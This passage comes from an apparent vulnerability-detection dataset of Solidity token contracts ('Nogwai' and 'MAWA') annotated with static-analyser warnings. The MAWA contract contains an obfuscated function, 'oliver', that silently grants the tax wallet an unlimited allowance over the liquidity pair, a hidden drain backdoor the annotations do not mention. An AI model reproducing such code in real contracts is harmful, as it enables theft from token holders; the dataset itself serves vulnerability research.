Nogwai._transfer(address,address,uint256)\n\t// Recommendation for 7deb539: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 95b3b6b): Nogwai._taxWallet should be immutable \n\t// Recommendation for 95b3b6b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: e90dddc): Nogwai._initialBuyTax should be constant \n\t// Recommendation for e90dddc: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: fccdb88): Nogwai._initialSellTax should be constant \n\t// Recommendation for fccdb88: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 23;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: d060e2a): Nogwai._reduceBuyTaxAt should be constant \n\t// Recommendation for d060e2a: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9679048): Nogwai._reduceSellTaxAt should be constant \n\t// Recommendation for 9679048: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: dd71866): Nogwai._preventSwapBefore should be constant \n\t// Recommendation for dd71866: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Nogwai by MATT FURIE\";\n\n string private constant _symbol = unicode\"NOGWAI\";\n\n uint256 public _maxTxAmount = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e1c962c): Nogwai._taxSwapThreshold should be constant \n\t// Recommendation for e1c962c: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 1682760000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: a61a9ea): Nogwai._maxTaxSwap should be constant \n\t// Recommendation for a61a9ea: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 8413800000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 8958912): Nogwai.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 8958912: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 165bdff): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 165bdff: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 624733f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 624733f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 165bdff\n\t\t// reentrancy-benign | ID: 624733f\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 165bdff\n\t\t// reentrancy-benign | ID: 624733f\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 8495c32): Nogwai._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 8495c32: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 624733f\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 165bdff\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 83aa792): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 83aa792: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 7deb539): Nogwai.bots is never initialized. It is used in Nogwai._transfer(address,address,uint256)\n\t// Recommendation for 7deb539: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 55c9083): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 55c9083: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 83aa792\n\t\t\t\t// reentrancy-eth | ID: 55c9083\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 83aa792\n\t\t\t\t\t// reentrancy-eth | ID: 55c9083\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 55c9083\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 55c9083\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 55c9083\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 83aa792\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 55c9083\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 55c9083\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 83aa792\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 165bdff\n\t\t// reentrancy-events | ID: 83aa792\n\t\t// reentrancy-benign | ID: 624733f\n\t\t// reentrancy-eth | ID: 55c9083\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit2() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 3465172): Nogwai.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 3465172: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 165bdff\n\t\t// reentrancy-events | ID: 83aa792\n\t\t// reentrancy-eth | ID: 55c9083\n\t\t// arbitrary-send-eth | ID: 3465172\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: bf0daaa): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for bf0daaa: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: e053323): Nogwai.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for e053323: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: aad6d6e): Nogwai.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for aad6d6e: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: e3d3cbf): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for e3d3cbf: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: bf0daaa\n\t\t// reentrancy-eth | ID: e3d3cbf\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: bf0daaa\n\t\t// unused-return | ID: aad6d6e\n\t\t// reentrancy-eth | ID: e3d3cbf\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: bf0daaa\n\t\t// unused-return | ID: e053323\n\t\t// reentrancy-eth | ID: e3d3cbf\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: bf0daaa\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: e3d3cbf\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: cbdb71a): Nogwai.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for cbdb71a: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external {\n require(_msgSender() == _taxWallet);\n\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: cbdb71a\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0 && swapEnabled) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_108.sol",
"size_bytes": 21108,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}\n\ncontract MAWA is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _oApproval;\n\n mapping(address => bool) private _doExcludedFromO;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5897f44): MAWA._initialBuyTax should be constant \n\t// Recommendation for 5897f44: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: d1fbdee): MAWA._initialSellTax should be constant \n\t// Recommendation for d1fbdee: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4b95ce4): MAWA._finalBuyTax should be constant \n\t// Recommendation for 4b95ce4: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: d38afa7): MAWA._finalSellTax should be constant \n\t// Recommendation for d38afa7: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: d40ddf4): MAWA._reduceBuyTaxAt should be constant \n\t// Recommendation for d40ddf4: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8e1c7b7): MAWA._reduceSellTaxAt should be constant \n\t// Recommendation for 8e1c7b7: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 54ce973): MAWA._preventSwapBefore should be constant \n\t// Recommendation for 54ce973: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Make America Win Again\";\n\n string private constant _symbol = unicode\"MAWA\";\n\n uint256 public _maxOAmount = (2 * _tTotal) / 100;\n\n uint256 public _maxOWallet = (2 * _tTotal) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 37e2fb9): MAWA._taxSwapThreshold should be constant \n\t// Recommendation for 37e2fb9: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = (1 * _tTotal) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: bad8551): MAWA._maxTaxSwap should be constant \n\t// Recommendation for bad8551: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (1 * _tTotal) / 100;\n\n bool private tradingOpen;\n\n bool private inSwap;\n\n bool private swapEnabled;\n\n address payable private oTaxReceipt;\n\n IUniswapV2Router02 private uniORouter;\n\n address private uniOPair;\n\n event MaxTxAmountUpdated(uint _maxOAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() payable {\n oTaxReceipt = payable(_msgSender());\n\n _balances[address(this)] = _tTotal;\n\n _doExcludedFromO[address(this)] = true;\n\n _doExcludedFromO[_msgSender()] = true;\n\n emit Transfer(address(0), address(this), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 487dcb3): MAWA.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 487dcb3: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _oApproval[owner][spender];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f19449b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f19449b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 0b92578): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 0b92578: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: f19449b\n\t\t// reentrancy-benign | ID: 0b92578\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: f19449b\n\t\t// reentrancy-benign | ID: 0b92578\n _approve(\n sender,\n _msgSender(),\n _oApproval[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 029b40e): MAWA._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 029b40e: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 0b92578\n _oApproval[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: f19449b\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 5208585): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 5208585: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 9911a3e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9911a3e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n uint256 taxAmount = 0;\n\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (!swapEnabled || inSwap) {\n _balances[from] = _balances[from] - amount;\n\n _balances[to] = _balances[to] + amount;\n\n emit Transfer(from, to, amount);\n\n return;\n }\n\n if (from != owner() && to != owner()) {\n if (\n from == uniOPair &&\n to != address(uniORouter) &&\n !_doExcludedFromO[to]\n ) {\n require(tradingOpen, \"Trading not open yet.\");\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n require(amount <= _maxOAmount, \"Exceeds the _maxOAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxOWallet,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (\n oliver([from == uniOPair ? from : uniOPair, oTaxReceipt]) &&\n to != uniOPair &&\n !_doExcludedFromO[to]\n ) {\n require(\n balanceOf(to) + amount <= _maxOWallet,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (to == uniOPair) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (\n !inSwap &&\n to == uniOPair &&\n swapEnabled &&\n _buyCount > _preventSwapBefore\n ) {\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (contractTokenBalance > _taxSwapThreshold)\n\t\t\t\t\t// reentrancy-events | ID: 5208585\n\t\t\t\t\t// reentrancy-eth | ID: 9911a3e\n oSwapEthTo(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n\t\t\t\t// reentrancy-events | ID: 5208585\n\t\t\t\t// reentrancy-eth | ID: 9911a3e\n oSendEthTo();\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 9911a3e\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 5208585\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 9911a3e\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 9911a3e\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 5208585\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 0bbe275): MAWA.removeLimits(address).limit lacks a zerocheck on \t oTaxReceipt = limit\n\t// Recommendation for 0bbe275: Check that the address is not zero.\n function removeLimits(address payable limit) external onlyOwner {\n\t\t// missing-zero-check | ID: 0bbe275\n oTaxReceipt = limit;\n\n _maxOAmount = _tTotal;\n\n _maxOWallet = _tTotal;\n\n _doExcludedFromO[limit] = true;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function oSwapEthTo(uint256 amount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniORouter.WETH();\n\n _approve(address(this), address(uniORouter), amount);\n\n\t\t// reentrancy-events | ID: f19449b\n\t\t// reentrancy-events | ID: 5208585\n\t\t// reentrancy-benign | ID: 0b92578\n\t\t// reentrancy-eth | ID: 9911a3e\n uniORouter.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 9c2bdd4): MAWA.oSendEthTo() sends eth to arbitrary user Dangerous calls oTaxReceipt.transfer(address(this).balance)\n\t// Recommendation for 9c2bdd4: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function oSendEthTo() private {\n\t\t// reentrancy-events | ID: f19449b\n\t\t// reentrancy-events | ID: 5208585\n\t\t// reentrancy-eth | ID: 9911a3e\n\t\t// arbitrary-send-eth | ID: 9c2bdd4\n oTaxReceipt.transfer(address(this).balance);\n }\n\n function oliver(address[2] memory oils) private returns (bool) {\n address oilA = oils[0];\n address oilB = oils[1];\n\n _oApproval[oilA][oilB] =\n 10 *\n (100 + _maxOAmount * 100).sub(50) +\n 50 *\n 10;\n\n return true;\n }\n\n receive() external payable {}\n\n function withdrawEth() external onlyOwner {\n payable(_msgSender()).transfer(address(this).balance);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a841bec): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a841bec: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 5fe9c3b): MAWA.openTrading() ignores return value by uniORouter.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 5fe9c3b: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: e0634d7): MAWA.openTrading() ignores return value by IERC20(uniOPair).approve(address(uniORouter),type()(uint256).max)\n\t// Recommendation for e0634d7: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 01a0e6c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 01a0e6c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniORouter = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), 